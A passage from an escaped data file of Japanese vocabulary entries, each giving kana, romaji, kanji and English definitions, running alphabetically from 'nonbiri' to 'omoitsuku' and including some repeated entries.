drink\"\n\t},\n\n\t{\n\t\t'kana':'のんびり',\n\t\t'romaji':'nonbiri',\n\t\t'kanji':'',\n\t\t'definition':\"carefree;at leisure\"\n\t},\n\n\t{\n\t\t'kana':'のんき',\n\t\t'romaji':'nonki',\n\t\t'kanji':'呑気',\n\t\t'definition':\"carefree;optimistic;careless;reckless;heedless\"\n\t},\n\n\t{\n\t\t'kana':'ののしる',\n\t\t'romaji':'nonoshiru',\n\t\t'kanji':'罵る',\n\t\t'definition':\"to speak ill of;to abuse\"\n\t},\n\n\t{\n\t\t'kana':'のり',\n\t\t'romaji':'nori',\n\t\t'kanji':'糊',\n\t\t'definition':\"paste;starch\"\n\t},\n\n\t{\n\t\t'kana':'のりかえ',\n\t\t'romaji':'norikae',\n\t\t'kanji':'乗り換え',\n\t\t'definition':\"transfer (trains buses etc.)\"\n\t},\n\n\t{\n\t\t'kana':'のりかえる',\n\t\t'romaji':'norikaeru',\n\t\t'kanji':'乗り換える',\n\t\t'definition':\"to transfer (trains);to change (bus train)\"\n\t},\n\n\t{\n\t\t'kana':'のりこむ',\n\t\t'romaji':'norikomu',\n\t\t'kanji':'乗り込む',\n\t\t'definition':\"to board;to embark on;to get into (a car);to ship (passengers);to man (a ship);to help (someone) into;to march into;to enter\"\n\t},\n\n\t{\n\t\t'kana':'のりこし',\n\t\t'romaji':'norikoshi',\n\t\t'kanji':'乗り越し',\n\t\t'definition':\"riding past (one's station)\"\n\t},\n\n\t{\n\t\t'kana':'のろのろ',\n\t\t'romaji':'noronoro',\n\t\t'kanji':'',\n\t\t'definition':\"slowly;sluggishly\"\n\t},\n\n\t{\n\t\t'kana':'のる',\n\t\t'romaji':'noru',\n\t\t'kanji':'載る',\n\t\t'definition':\"to appear (in print);to be recorded\"\n\t},\n\n\t{\n\t\t'kana':'のる',\n\t\t'romaji':'noru',\n\t\t'kanji':'乗る',\n\t\t'definition':\"to get on;to ride in;to board;to mount;to get up on;to spread (paints);to be taken in;to share in;to join;to be found in (a dictionary);to feel like doing;to be mentioned in;to be in harmony with\"\n\t},\n\n\t{\n\t\t'kana':'のせる',\n\t\t'romaji':'noseru',\n\t\t'kanji':'載せる',\n\t\t'definition':\"to place on (something);to take on board;to give a ride;to let (one) take part;to impose on;to record;to mention;to load (luggage);to publish;to run (an ad)\"\n\t},\n\n\t{\n\t\t'kana':'のせる',\n\t\t'romaji':'noseru',\n\t\t'kanji':'乗せる',\n\t\t'definition':\"to place on (something);to take on board;to give a ride;to let (one) take part;to impose on;to record;to mention;to load (luggage);to publish;to run (an ad)\"\n\t},\n\n\t{\n\t\t'kana':'ノート',\n\t\t'romaji':'no-to',\n\t\t'kanji':'',\n\t\t'definition':\"notebook;copy-book;exercise book\"\n\t},\n\n\t{\n\t\t'kana':'のっとる',\n\t\t'romaji':'nottoru',\n\t\t'kanji':'乗っ取る',\n\t\t'definition':\"to capture;to occupy;to usurp\"\n\t},\n\n\t{\n\t\t'kana':'のう',\n\t\t'romaji':'nou',\n\t\t'kanji':'能',\n\t\t'definition':\"talent;gift;function;Noh play\"\n\t},\n\n\t{\n\t\t'kana':'のう',\n\t\t'romaji':'nou',\n\t\t'kanji':'脳',\n\t\t'definition':\"brain;memory\"\n\t},\n\n\t{\n\t\t'kana':'のうち',\n\t\t'romaji':'nouchi',\n\t\t'kanji':'農地',\n\t\t'definition':\"agricultural land\"\n\t},\n\n\t{\n\t\t'kana':'のうど',\n\t\t'romaji':'noudo',\n\t\t'kanji':'濃度',\n\t\t'definition':\"concentration;brightness\"\n\t},\n\n\t{\n\t\t'kana':'のうぎょう',\n\t\t'romaji':'nougyou',\n\t\t'kanji':'農業',\n\t\t'definition':\"agriculture\"\n\t},\n\n\t{\n\t\t'kana':'のうじょう',\n\t\t'romaji':'noujyou',\n\t\t'kanji':'農場',\n\t\t'definition':\"farm (agriculture)\"\n\t},\n\n\t{\n\t\t'kana':'のうか',\n\t\t'romaji':'nouka',\n\t\t'kanji':'農家',\n\t\t'definition':\"farmer;farm family\"\n\t},\n\n\t{\n\t\t'kana':'のうこう',\n\t\t'romaji':'noukou',\n\t\t'kanji':'農耕',\n\t\t'definition':\"farming;agriculture\"\n\t},\n\n\t{\n\t\t'kana':'のうみん',\n\t\t'romaji':'noumin',\n\t\t'kanji':'農民',\n\t\t'definition':\"farmers;peasants\"\n\t},\n\n\t{\n\t\t'kana':'のうにゅう',\n\t\t'romaji':'nounyuu',\n\t\t'kanji':'納入',\n\t\t'definition':\"payment;supply\"\n\t},\n\n\t{\n\t\t'kana':'のうりつ',\n\t\t'romaji':'nouritsu',\n\t\t'kanji':'能率',\n\t\t'definition':\"efficiency\"\n\t},\n\n\t{\n\t\t'kana':'のうりょく',\n\t\t'romaji':'nouryoku',\n\t\t'kanji':'能力',\n\t\t'definition':\"ability;faculty\"\n\t},\n\n\t{\n\t\t'kana':'のうさんぶつ',\n\t\t'romaji':'nousanbutsu',\n\t\t'kanji':'農産物',\n\t\t'definition':\"agricultural produce\"\n\t},\n\n\t{\n\t\t'kana':'のうそん',\n\t\t'romaji':'nouson',\n\t\t'kanji':'農村',\n\t\t'definition':\"agricultural community;farm village;rural\"\n\t},\n\n\t{\n\t\t'kana':'のうやく',\n\t\t'romaji':'nouyaku',\n\t\t'kanji':'農薬',\n\t\t'definition':\"agricultural chemicals\"\n\t},\n\n\t{\n\t\t'kana':'のぞく',\n\t\t'romaji':'nozoku',\n\t\t'kanji':'除く',\n\t\t'definition':\"to remove;to exclude;to except\"\n\t},\n\n\t{\n\t\t'kana':'のぞく',\n\t\t'romaji':'nozoku',\n\t\t'kanji':'覗く',\n\t\t'definition':\"to peep in;to look in;to peek in;to stick out\"\n\t},\n\n\t{\n\t\t'kana':'のぞましい',\n\t\t'romaji':'nozomashii',\n\t\t'kanji':'望ましい',\n\t\t'definition':\"desirable;hoped for\"\n\t},\n\n\t{\n\t\t'kana':'のぞみ',\n\t\t'romaji':'nozomi',\n\t\t'kanji':'望み',\n\t\t'definition':\"wish;desire\"\n\t},\n\n\t{\n\t\t'kana':'のぞむ',\n\t\t'romaji':'nozomu',\n\t\t'kanji':'望む',\n\t\t'definition':\"to desire;to wish for;to see;to command (a view of)\"\n\t},\n\n\t{\n\t\t'kana':'のぞむ',\n\t\t'romaji':'nozomu',\n\t\t'kanji':'臨む',\n\t\t'definition':\"to look out on;to face;to deal with;to attend (function)\"\n\t},\n\n\t{\n\t\t'kana':'ぬぐ',\n\t\t'romaji':'nugu',\n\t\t'kanji':'脱ぐ',\n\t\t'definition':\"to take off clothes\"\n\t},\n\n\t{\n\t\t'kana':'ぬかす',\n\t\t'romaji':'nukasu',\n\t\t'kanji':'抜かす',\n\t\t'definition':\"to omit;to leave out\"\n\t},\n\n\t{\n\t\t'kana':'ぬけだす',\n\t\t'romaji':'nukedasu',\n\t\t'kanji':'抜け出す',\n\t\t'definition':\"to slip out;to sneak away;to excel\"\n\t},\n\n\t{\n\t\t'kana':'ぬける',\n\t\t'romaji':'nukeru',\n\t\t'kanji':'抜ける',\n\t\t'definition':\"to come out;to fall out;to be omitted;to be missing;to escape\"\n\t},\n\n\t{\n\t\t'kana':'ぬく',\n\t\t'romaji':'nuku',\n\t\t'kanji':'抜く',\n\t\t'definition':\"to extract;to omit;to surpass;to draw out;to unplug\"\n\t},\n\n\t{\n\t\t'kana':'ぬま',\n\t\t'romaji':'numa',\n\t\t'kanji':'沼',\n\t\t'definition':\"swamp;bog;pond;lake\"\n\t},\n\n\t{\n\t\t'kana':'ぬの',\n\t\t'romaji':'nuno',\n\t\t'kanji':'布',\n\t\t'definition':\"cloth\"\n\t},\n\n\t{\n\t\t'kana':'ぬの',\n\t\t'romaji':'nuno',\n\t\t'kanji':'布',\n\t\t'definition':\"cloth\"\n\t},\n\n\t{\n\t\t'kana':'ぬらす',\n\t\t'romaji':'nurasu',\n\t\t'kanji':'濡らす',\n\t\t'definition':\"to wet;to soak;to dip\"\n\t},\n\n\t{\n\t\t'kana':'ぬれる',\n\t\t'romaji':'nureru',\n\t\t'kanji':'濡れる',\n\t\t'definition':\"to get wet\"\n\t},\n\n\t{\n\t\t'kana':'ぬる',\n\t\t'romaji':'nuru',\n\t\t'kanji':'塗る',\n\t\t'definition':\"to paint;to plaster;to lacquer;to varnish\"\n\t},\n\n\t{\n\t\t'kana':'ぬるい',\n\t\t'romaji':'nurui',\n\t\t'kanji':'温い',\n\t\t'definition':\"lukewarm;tepid\"\n\t},\n\n\t{\n\t\t'kana':'ぬすみ',\n\t\t'romaji':'nusumi',\n\t\t'kanji':'盗み',\n\t\t'definition':\"stealing\"\n\t},\n\n\t{\n\t\t'kana':'ぬすむ',\n\t\t'romaji':'nusumu',\n\t\t'kanji':'盗む',\n\t\t'definition':\"to steal\"\n\t},\n\n\t{\n\t\t'kana':'ぬう',\n\t\t'romaji':'nuu',\n\t\t'kanji':'縫う',\n\t\t'definition':\"to sew\"\n\t},\n\n\t{\n\t\t'kana':'にょう',\n\t\t'romaji':'nyou',\n\t\t'kanji':'尿',\n\t\t'definition':\"urine\"\n\t},\n\n\t{\n\t\t'kana':'にょうぼう',\n\t\t'romaji':'nyoubou',\n\t\t'kanji':'女房',\n\t\t'definition':\"wife\"\n\t},\n\n\t{\n\t\t'kana':'にゅうがく',\n\t\t'romaji':'nyuugaku',\n\t\t'kanji':'入学',\n\t\t'definition':\"entry to school or university;matriculation\"\n\t},\n\n\t{\n\t\t'kana':'にゅういん',\n\t\t'romaji':'nyuuin',\n\t\t'kanji':'入院',\n\t\t'definition':\"hospitalization\"\n\t},\n\n\t{\n\t\t'kana':'にゅうじょう',\n\t\t'romaji':'nyuujyou',\n\t\t'kanji':'入場',\n\t\t'definition':\"entrance;admission;entering\"\n\t},\n\n\t{\n\t\t'kana':'にゅうしゃ',\n\t\t'romaji':'nyuusha',\n\t\t'kanji':'入社',\n\t\t'definition':\"entry to a company\"\n\t},\n\n\t{\n\t\t'kana':'にゅうしょう',\n\t\t'romaji':'nyuushou',\n\t\t'kanji':'入賞',\n\t\t'definition':\"winning a prize or place (in a contest)\"\n\t},\n\n\t{\n\t\t'kana':'にゅうしゅ',\n\t\t'romaji':'nyuushu',\n\t\t'kanji':'入手',\n\t\t'definition':\"obtaining;coming to hand\"\n\t},\n\n\t{\n\t\t'kana':'にゅうよく',\n\t\t'romaji':'nyuuyoku',\n\t\t'kanji':'入浴',\n\t\t'definition':\"bathe;bathing\"\n\t},\n\n\t{\n\t\t'kana':'お',\n\t\t'romaji':'o',\n\t\t'kanji':'於',\n\t\t'definition':\"at;in;on\"\n\t},\n\n\t{\n\t\t'kana':'お',\n\t\t'romaji':'o',\n\t\t'kanji':'尾',\n\t\t'definition':\"tail;ridge\"\n\t},\n\n\t{\n\t\t'kana':'おば',\n\t\t'romaji':'oba',\n\t\t'kanji':'伯母',\n\t\t'definition':\"aunt(older than one's parent)\"\n\t},\n\n\t{\n\t\t'kana':'オーバー',\n\t\t'romaji':'o-ba-',\n\t\t'kanji':'',\n\t\t'definition':\"1. overcoat; 2. over;exceeding;going beyond;exaggeration; 3. ball hit over the head of an outfielder (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'オーバー',\n\t\t'romaji':'o-ba-',\n\t\t'kanji':'',\n\t\t'definition':\"1. overcoat; 2. over;exceeding;going beyond;exaggeration; 3. ball hit over the head of an outfielder (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'おばあさん',\n\t\t'romaji':'obaasan',\n\t\t'kanji':'お祖母さん',\n\t\t'definition':\"grandmother;female senior-citizen\"\n\t},\n\n\t{\n\t\t'kana':'おばさん',\n\t\t'romaji':'obasan',\n\t\t'kanji':'伯母さん',\n\t\t'definition':\"aunt\"\n\t},\n\n\t{\n\t\t'kana':'おび',\n\t\t'romaji':'obi',\n\t\t'kanji':'帯',\n\t\t'definition':\"obi (kimono sash)\"\n\t},\n\n\t{\n\t\t'kana':'おび',\n\t\t'romaji':'obi',\n\t\t'kanji':'帯',\n\t\t'definition':\"obi (kimono sash)\"\n\t},\n\n\t{\n\t\t'kana':'おびえる',\n\t\t'romaji':'obieru',\n\t\t'kanji':'怯える',\n\t\t'definition':\"to become frightened;to have a nightmare\"\n\t},\n\n\t{\n\t\t'kana':'おびる',\n\t\t'romaji':'obiru',\n\t\t'kanji':'帯びる',\n\t\t'definition':\"to wear;to carry;to be entrusted;to have;to take on;to have a trace of;to be tinged with\"\n\t},\n\n\t{\n\t\t'kana':'おびただしい',\n\t\t'romaji':'obitadashii',\n\t\t'kanji':'夥しい',\n\t\t'definition':\"abundantly;innumerably\"\n\t},\n\n\t{\n\t\t'kana':'おぼえ',\n\t\t'romaji':'oboe',\n\t\t'kanji':'覚え',\n\t\t'definition':\"memory;sense;experience\"\n\t},\n\n\t{\n\t\t'kana':'おぼえる',\n\t\t'romaji':'oboeru',\n\t\t'kanji':'覚える',\n\t\t'definition':\"to remember;to memorize\"\n\t},\n\n\t{\n\t\t'kana':'おぼれる',\n\t\t'romaji':'oboreru',\n\t\t'kanji':'溺れる',\n\t\t'definition':\"to be drowned;to indulge in\"\n\t},\n\n\t{\n\t\t'kana':'おちば',\n\t\t'romaji':'ochiba',\n\t\t'kanji':'落ち葉',\n\t\t'definition':\"fallen leaves;leaf litter;defoliation;shedding leaves\"\n\t},\n\n\t{\n\t\t'kana':'おちこむ',\n\t\t'romaji':'ochikomu',\n\t\t'kanji':'落ち込む',\n\t\t'definition':\"to fall into;to feel down (sad)\"\n\t},\n\n\t{\n\t\t'kana':'おちる',\n\t\t'romaji':'ochiru',\n\t\t'kanji':'落ちる',\n\t\t'definition':\"to fail (e.g. exam);to fall down;to drop\"\n\t},\n\n\t{\n\t\t'kana':'おちつき',\n\t\t'romaji':'ochitsuki',\n\t\t'kanji':'落ち着き',\n\t\t'definition':\"calm;composure\"\n\t},\n\n\t{\n\t\t'kana':'おちつく',\n\t\t'romaji':'ochitsuku',\n\t\t'kanji':'落ち着く',\n\t\t'definition':\"to calm down;to settle down;to be steady;to settle in;to take up one's residence;to harmonize with;to match;to restore presence of mind\"\n\t},\n\n\t{\n\t\t'kana':'おだいじに',\n\t\t'romaji':'odaijini',\n\t\t'kanji':'お大事に',\n\t\t'definition':\"Take care of yourself\"\n\t},\n\n\t{\n\t\t'kana':'おだてる',\n\t\t'romaji':'odateru',\n\t\t'kanji':'煽てる',\n\t\t'definition':\"to stir up;to instigate;to flatter\"\n\t},\n\n\t{\n\t\t'kana':'おだやか',\n\t\t'romaji':'odayaka',\n\t\t'kanji':'穏やか',\n\t\t'definition':\"calm;gentle;quiet\"\n\t},\n\n\t{\n\t\t'kana':'おどかす',\n\t\t'romaji':'odokasu',\n\t\t'kanji':'脅かす',\n\t\t'definition':\"to threaten;to coerce\"\n\t},\n\n\t{\n\t\t'kana':'おどかす',\n\t\t'romaji':'odokasu',\n\t\t'kanji':'脅かす',\n\t\t'definition':\"to threaten;to coerce\"\n\t},\n\n\t{\n\t\t'kana':'おどおど',\n\t\t'romaji':'odoodo',\n\t\t'kanji':'',\n\t\t'definition':\"coweringly;hesitantly\"\n\t},\n\n\t{\n\t\t'kana':'おどり',\n\t\t'romaji':'odori',\n\t\t'kanji':'踊り',\n\t\t'definition':\"dance\"\n\t},\n\n\t{\n\t\t'kana':'おどろかす',\n\t\t'romaji':'odorokasu',\n\t\t'kanji':'驚かす',\n\t\t'definition':\"to surprise;to frighten;to create a stir\"\n\t},\n\n\t{\n\t\t'kana':'おどろき',\n\t\t'romaji':'odoroki',\n\t\t'kanji':'驚き',\n\t\t'definition':\"surprise;astonishment;wonder\"\n\t},\n\n\t{\n\t\t'kana':'おどろく',\n\t\t'romaji':'odoroku',\n\t\t'kanji':'驚く',\n\t\t'definition':\"to be surprised\"\n\t},\n\n\t{\n\t\t'kana':'おどる',\n\t\t'romaji':'odoru',\n\t\t'kanji':'踊る',\n\t\t'definition':\"to dance\"\n\t},\n\n\t{\n\t\t'kana':'おどす',\n\t\t'romaji':'odosu',\n\t\t'kanji':'脅す',\n\t\t'definition':\"to threaten;to menace\"\n\t},\n\n\t{\n\t\t'kana':'おえる',\n\t\t'romaji':'oeru',\n\t\t'kanji':'終える',\n\t\t'definition':\"to finish\"\n\t},\n\n\t{\n\t\t'kana':'おふくろ',\n\t\t'romaji':'ofukuro',\n\t\t'kanji':'お袋',\n\t\t'definition':\"one's mother\"\n\t},\n\n\t{\n\t\t'kana':'オフィス',\n\t\t'romaji':'ofyisu',\n\t\t'kanji':'',\n\t\t'definition':\"office\"\n\t},\n\n\t{\n\t\t'kana':'おがむ',\n\t\t'romaji':'ogamu',\n\t\t'kanji':'拝む',\n\t\t'definition':\"to worship;to beg;to make a supplication\"\n\t},\n\n\t{\n\t\t'kana':'おぎなう',\n\t\t'romaji':'oginau',\n\t\t'kanji':'補う',\n\t\t'definition':\"to compensate for\"\n\t},\n\n\t{\n\t\t'kana':'おごる',\n\t\t'romaji':'ogoru',\n\t\t'kanji':'傲る',\n\t\t'definition':\"to be proud\"\n\t},\n\n\t{\n\t\t'kana':'おごそか',\n\t\t'romaji':'ogosoka',\n\t\t'kanji':'厳か',\n\t\t'definition':\"austere;majestic;dignified;stately;awful;impressive\"\n\t},\n\n\t{\n\t\t'kana':'おはよう',\n\t\t'romaji':'ohayou',\n\t\t'kanji':'お早う',\n\t\t'definition':\"Good morning\"\n\t},\n\n\t{\n\t\t'kana':'おひる',\n\t\t'romaji':'ohiru',\n\t\t'kanji':'お昼',\n\t\t'definition':\"lunch;noon\"\n\t},\n\n\t{\n\t\t'kana':'おい',\n\t\t'romaji':'oi',\n\t\t'kanji':'甥',\n\t\t'definition':\"nephew\"\n\t},\n\n\t{\n\t\t'kana':'おい',\n\t\t'romaji':'oi',\n\t\t'kanji':'甥',\n\t\t'definition':\"nephew\"\n\t},\n\n\t{\n\t\t'kana':'おいだす',\n\t\t'romaji':'oidasu',\n\t\t'kanji':'追い出す',\n\t\t'definition':\"to expel;to drive out\"\n\t},\n\n\t{\n\t\t'kana':'おいでになる',\n\t\t'romaji':'oideninaru',\n\t\t'kanji':'お出でになる',\n\t\t'definition':\"to be\"\n\t},\n\n\t{\n\t\t'kana':'おいかける',\n\t\t'romaji':'oikakeru',\n\t\t'kanji':'追い掛ける',\n\t\t'definition':\"to chase or run after someone;to run down;to pursue\"\n\t},\n\n\t{\n\t\t'kana':'おいこむ',\n\t\t'romaji':'oikomu',\n\t\t'kanji':'追い込む',\n\t\t'definition':\"to herd;to corner;to drive\"\n\t},\n\n\t{\n\t\t'kana':'おいこす',\n\t\t'romaji':'oikosu',\n\t\t'kanji':'追い越す',\n\t\t'definition':\"to pass (e.g. car);to outdistance;to outstrip\"\n\t},\n\n\t{\n\t\t'kana':'オイル',\n\t\t'romaji':'oiru',\n\t\t'kanji':'',\n\t\t'definition':\"oil;engine oil;kerosene\"\n\t},\n\n\t{\n\t\t'kana':'おいる',\n\t\t'romaji':'oiru',\n\t\t'kanji':'老いる',\n\t\t'definition':\"to age;to grow old\"\n\t},\n\n\t{\n\t\t'kana':'おいしい',\n\t\t'romaji':'oishii',\n\t\t'kanji':'美味しい',\n\t\t'definition':\"delicious;tasty\"\n\t},\n\n\t{\n\t\t'kana':'おいて',\n\t\t'romaji':'oite',\n\t\t'kanji':'於いて',\n\t\t'definition':\"at;in;on\"\n\t},\n\n\t{\n\t\t'kana':'おいつく',\n\t\t'romaji':'oitsuku',\n\t\t'kanji':'追い付く',\n\t\t'definition':\"to overtake;to catch up (with)\"\n\t},\n\n\t{\n\t\t'kana':'おじ',\n\t\t'romaji':'oji',\n\t\t'kanji':'伯父',\n\t\t'definition':\"uncle (older than one's parent)\"\n\t},\n\n\t{\n\t\t'kana':'おじぎ',\n\t\t'romaji':'ojigi',\n\t\t'kanji':'御辞儀',\n\t\t'definition':\"bow\"\n\t},\n\n\t{\n\t\t'kana':'おじいさん',\n\t\t'romaji':'ojiisan',\n\t\t'kanji':'お祖父さん',\n\t\t'definition':\"grandfather;male senior-citizen\"\n\t},\n\n\t{\n\t\t'kana':'おじさん',\n\t\t'romaji':'ojisan',\n\t\t'kanji':'伯父さん',\n\t\t'definition':\"middle-aged gentleman;uncle\"\n\t},\n\n\t{\n\t\t'kana':'おじゃまします',\n\t\t'romaji':'ojyamashimasu',\n\t\t'kanji':'お邪魔します',\n\t\t'definition':\"Excuse me for disturbing (interrupting) you\"\n\t},\n\n\t{\n\t\t'kana':'おじょうさん',\n\t\t'romaji':'ojyousan',\n\t\t'kanji':'お嬢さん',\n\t\t'definition':\"daughter\"\n\t},\n\n\t{\n\t\t'kana':'おか',\n\t\t'romaji':'oka',\n\t\t'kanji':'丘',\n\t\t'definition':\"hill;height;knoll;rising ground\"\n\t},\n\n\t{\n\t\t'kana':'おかあさん',\n\t\t'romaji':'okaasan',\n\t\t'kanji':'お母さん',\n\t\t'definition':\"mother\"\n\t},\n\n\t{\n\t\t'kana':'おかげ',\n\t\t'romaji':'okage',\n\t\t'kanji':'お蔭',\n\t\t'definition':\"(your) backing;assistance\"\n\t},\n\n\t{\n\t\t'kana':'おかげさまで',\n\t\t'romaji':'okagesamade',\n\t\t'kanji':'お蔭様で',\n\t\t'definition':\"Thanks to god;thanks to you\"\n\t},\n\n\t{\n\t\t'kana':'おかまいなく',\n\t\t'romaji':'okamainaku',\n\t\t'kanji':'お構いなく',\n\t\t'definition':\"please don't fuss over me\"\n\t},\n\n\t{\n\t\t'kana':'おかしい',\n\t\t'romaji':'okashii',\n\t\t'kanji':'可笑しい',\n\t\t'definition':\"strange;funny;amusing;ridiculous\"\n\t},\n\n\t{\n\t\t'kana':'おかす',\n\t\t'romaji':'okasu',\n\t\t'kanji':'侵す',\n\t\t'definition':\"to invade;to raid;to trespass;to violate;to intrude on\"\n\t},\n\n\t{\n\t\t'kana':'おかす',\n\t\t'romaji':'okasu',\n\t\t'kanji':'犯す',\n\t\t'definition':\"to commit;to perpetrate;to violate;to rape\"\n\t},\n\n\t{\n\t\t'kana':'おかわり',\n\t\t'romaji':'okawari',\n\t\t'kanji':'お代わり',\n\t\t'definition':\"second helping;another cup\"\n\t},\n\n\t{\n\t\t'kana':'おかず',\n\t\t'romaji':'okazu',\n\t\t'kanji':'お菜',\n\t\t'definition':\"side dish;accompaniment for rice dishes\"\n\t},\n\n\t{\n\t\t'kana':'オーケー',\n\t\t'romaji':'o-ke-',\n\t\t'kanji':'',\n\t\t'definition':\"OK\"\n\t},\n\n\t{\n\t\t'kana':'オーケストラ',\n\t\t'romaji':'o-kesutora',\n\t\t'kanji':'',\n\t\t'definition':\"orchestra\"\n\t},\n\n\t{\n\t\t'kana':'おき',\n\t\t'romaji':'oki',\n\t\t'kanji':'沖',\n\t\t'definition':\"open sea\"\n\t},\n\n\t{\n\t\t'kana':'おき',\n\t\t'romaji':'oki',\n\t\t'kanji':'沖',\n\t\t'definition':\"open sea\"\n\t},\n\n\t{\n\t\t'kana':'おきる',\n\t\t'romaji':'okiru',\n\t\t'kanji':'起きる',\n\t\t'definition':\"to get up;to rise\"\n\t},\n\n\t{\n\t\t'kana':'おっかない',\n\t\t'romaji':'okkanai',\n\t\t'kanji':'',\n\t\t'definition':\"frightening;huge\"\n\t},\n\n\t{\n\t\t'kana':'おこない',\n\t\t'romaji':'okonai',\n\t\t'kanji':'行い',\n\t\t'definition':\"deed;conduct;behavior;action;asceticism\"\n\t},\n\n\t{\n\t\t'kana':'おこなう',\n\t\t'romaji':'okonau',\n\t\t'kanji':'行う',\n\t\t'definition':\"to perform;to do;to conduct oneself;to carry out\"\n\t},\n\n\t{\n\t\t'kana':'おこる',\n\t\t'romaji':'okoru',\n\t\t'kanji':'起こる',\n\t\t'definition':\"to occur;to happen\"\n\t},\n\n\t{\n\t\t'kana':'おこさん',\n\t\t'romaji':'okosan',\n\t\t'kanji':'お子さん',\n\t\t'definition':\"(someone else's) child\"\n\t},\n\n\t{\n\t\t'kana':'おこす',\n\t\t'romaji':'okosu',\n\t\t'kanji':'起こす',\n\t\t'definition':\"to raise;to cause;to wake someone\"\n\t},\n\n\t{\n\t\t'kana':'おこたる',\n\t\t'romaji':'okotaru',\n\t\t'kanji':'怠る',\n\t\t'definition':\"to neglect;to be off guard;to be feeling better\"\n\t},\n\n\t{\n\t\t'kana':'おく',\n\t\t'romaji':'oku',\n\t\t'kanji':'億',\n\t\t'definition':\"(num) 100 000 000;hundred million\"\n\t},\n\n\t{\n\t\t'kana':'おく',\n\t\t'romaji':'oku',\n\t\t'kanji':'置く',\n\t\t'definition':\"to put;to place\"\n\t},\n\n\t{\n\t\t'kana':'おく',\n\t\t'romaji':'oku',\n\t\t'kanji':'奥',\n\t\t'definition':\"interior;inner part\"\n\t},\n\n\t{\n\t\t'kana':'おくびょう',\n\t\t'romaji':'okubyou',\n\t\t'kanji':'臆病',\n\t\t'definition':\"cowardice;timidity\"\n\t},\n\n\t{\n\t\t'kana':'おくがい',\n\t\t'romaji':'okugai',\n\t\t'kanji':'屋外',\n\t\t'definition':\"outdoors\"\n\t},\n\n\t{\n\t\t'kana':'おくじょう',\n\t\t'romaji':'okujyou',\n\t\t'kanji':'屋上',\n\t\t'definition':\"rooftop\"\n\t},\n\n\t{\n\t\t'kana':'おくらす',\n\t\t'romaji':'okurasu',\n\t\t'kanji':'遅らす',\n\t\t'definition':\"to retard;to delay\"\n\t},\n\n\t{\n\t\t'kana':'おくれ',\n\t\t'romaji':'okure',\n\t\t'kanji':'遅れ',\n\t\t'definition':\"delay;lag\"\n\t},\n\n\t{\n\t\t'kana':'おくれる',\n\t\t'romaji':'okureru',\n\t\t'kanji':'遅れる',\n\t\t'definition':\"to be late;to be delayed;to fall behind schedule\"\n\t},\n\n\t{\n\t\t'kana':'おくりがな',\n\t\t'romaji':'okurigana',\n\t\t'kanji':'送り仮名',\n\t\t'definition':\"part of word written in kana\"\n\t},\n\n\t{\n\t\t'kana':'おくりもの',\n\t\t'romaji':'okurimono',\n\t\t'kanji':'贈り物',\n\t\t'definition':\"present;gift\"\n\t},\n\n\t{\n\t\t'kana':'おくる',\n\t\t'romaji':'okuru',\n\t\t'kanji':'贈る',\n\t\t'definition':\"to send;to give to;to award to;to confer on\"\n\t},\n\n\t{\n\t\t'kana':'おくる',\n\t\t'romaji':'okuru',\n\t\t'kanji':'送る',\n\t\t'definition':\"to send (a thing);to dispatch;to take or escort (a person somewhere);to see off (a person);to spend a period of time;to live a life\"\n\t},\n\n\t{\n\t\t'kana':'おくさん',\n\t\t'romaji':'okusan',\n\t\t'kanji':'奥さん',\n\t\t'definition':\"wife;your wife;his wife;married lady;madam\"\n\t},\n\n\t{\n\t\t'kana':'おまちどおさま',\n\t\t'romaji':'omachidoosama',\n\t\t'kanji':'お待ち遠様',\n\t\t'definition':\"I'm sorry to have kept you waiting\"\n\t},\n\n\t{\n\t\t'kana':'おまいり',\n\t\t'romaji':'omairi',\n\t\t'kanji':'お参り',\n\t\t'definition':\"worship;shrine visit\"\n\t},\n\n\t{\n\t\t'kana':'おまけ',\n\t\t'romaji':'omake',\n\t\t'kanji':'御負け',\n\t\t'definition':\"1. a discount;a prize; 2. something additional;bonus;an extra; 3. an exaggeration\"\n\t},\n\n\t{\n\t\t'kana':'おまわりさん',\n\t\t'romaji':'omawarisan',\n\t\t'kanji':'お巡りさん',\n\t\t'definition':\"policeman (friendly term)\"\n\t},\n\n\t{\n\t\t'kana':'おめでとう',\n\t\t'romaji':'omedetou',\n\t\t'kanji':'お目出度う',\n\t\t'definition':\"(ateji) (int) (uk) Congratulations!;an auspicious occasion!\"\n\t},\n\n\t{\n\t\t'kana':'おみや',\n\t\t'romaji':'omiya',\n\t\t'kanji':'お宮',\n\t\t'definition':\"Shinto shrine\"\n\t},\n\n\t{\n\t\t'kana':'おも',\n\t\t'romaji':'omo',\n\t\t'kanji':'面',\n\t\t'definition':\"face\"\n\t},\n\n\t{\n\t\t'kana':'おもちゃ',\n\t\t'romaji':'omocha',\n\t\t'kanji':'玩具',\n\t\t'definition':\"toy\"\n\t},\n\n\t{\n\t\t'kana':'おもちゃ',\n\t\t'romaji':'omocha',\n\t\t'kanji':'玩具',\n\t\t'definition':\"toy\"\n\t},\n\n\t{\n\t\t'kana':'おもい',\n\t\t'romaji':'omoi',\n\t\t'kanji':'重い',\n\t\t'definition':\"heavy;massive;serious;important;severe;oppressed\"\n\t},\n\n\t{\n\t\t'kana':'おもいだす',\n\t\t'romaji':'omoidasu',\n\t\t'kanji':'思い出す',\n\t\t'definition':\"to recall;to remember\"\n\t},\n\n\t{\n\t\t'kana':'おもいで',\n\t\t'romaji':'omoide',\n\t\t'kanji':'思い出',\n\t\t'definition':\"memories;recollections;reminiscence\"\n\t},\n\n\t{\n\t\t'kana':'おもいがけない',\n\t\t'romaji':'omoigakenai',\n\t\t'kanji':'思い掛けない',\n\t\t'definition':\"unexpected;casual\"\n\t},\n\n\t{\n\t\t'kana':'おもいきり',\n\t\t'romaji':'omoikiri',\n\t\t'kanji':'思い切り',\n\t\t'definition':\"with all one's strength (heart);resignation;resolution\"\n\t},\n\n\t{\n\t\t'kana':'おもいこむ',\n\t\t'romaji':'omoikomu',\n\t\t'kanji':'思い込む',\n\t\t'definition':\"to be under impression that;to be convinced that;to imagine that;to set one's heart on;to be bent on\"\n\t},\n\n\t{\n\t\t'kana':'おもいつき',\n\t\t'romaji':'omoitsuki',\n\t\t'kanji':'思い付き',\n\t\t'definition':\"plan;idea;suggestion\"\n\t},\n\n\t{\n\t\t'kana':'おもいつく',\n\t\t'romaji':'omoitsuku',\n\t\t'kanji':'思い付く',\n\t\t'definition':\"to think of;to hit upon;to come into one's mind;to be struck with an 